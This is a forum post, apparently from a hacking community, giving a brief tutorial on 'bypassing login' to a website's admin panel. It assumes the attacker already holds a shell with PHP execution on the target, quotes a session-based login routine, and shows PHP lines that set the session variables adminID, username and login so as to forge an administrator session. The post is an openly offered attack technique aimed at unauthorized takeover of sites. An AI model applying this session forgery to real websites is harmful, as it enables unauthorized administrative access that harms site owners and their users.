Jump to content
Aerosol

Bypass Login with Session

Recommended Posts

Posted

Hello all,

this is a little tutorial for takeover a website by using simple session variables

at first we need a shell on the target with rights to excute php comands.

and we need a target like a admin panel maybe you want to grab the pw & username

but you failed because the hash is hashed in sha256 or something like that.

so we need a other way to login

in this time we can use they own login method

if(!empty($_POST["pw"]) && !empty($_POST["us"])){
$row = mysql_fetch_object($res);
if(md5($_POST["pw"])==$row->password && $_POST["us"]==$row->username){
$_SESSION["adminID"] = $row->adminID;
$_SESSION["username"] = $row->username;
$_SESSION["login"] = "1";
header("Location: users.php");
}
}else{exit();}

we see here a login with using sessions

Note :

Sessions are server-side variables.

if we wont access to that admin panel we need just to do that :

$_SESSION["adminID"] =  "0";
$_SESSION["username"] = "admin";
$_SESSION["login"] = "1";

and we call the php file with that content and we can access the admin panel and we bypass the site authentication

Credits to: T3N38R15

  • Downvote 1

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.



×
×
  • Create New...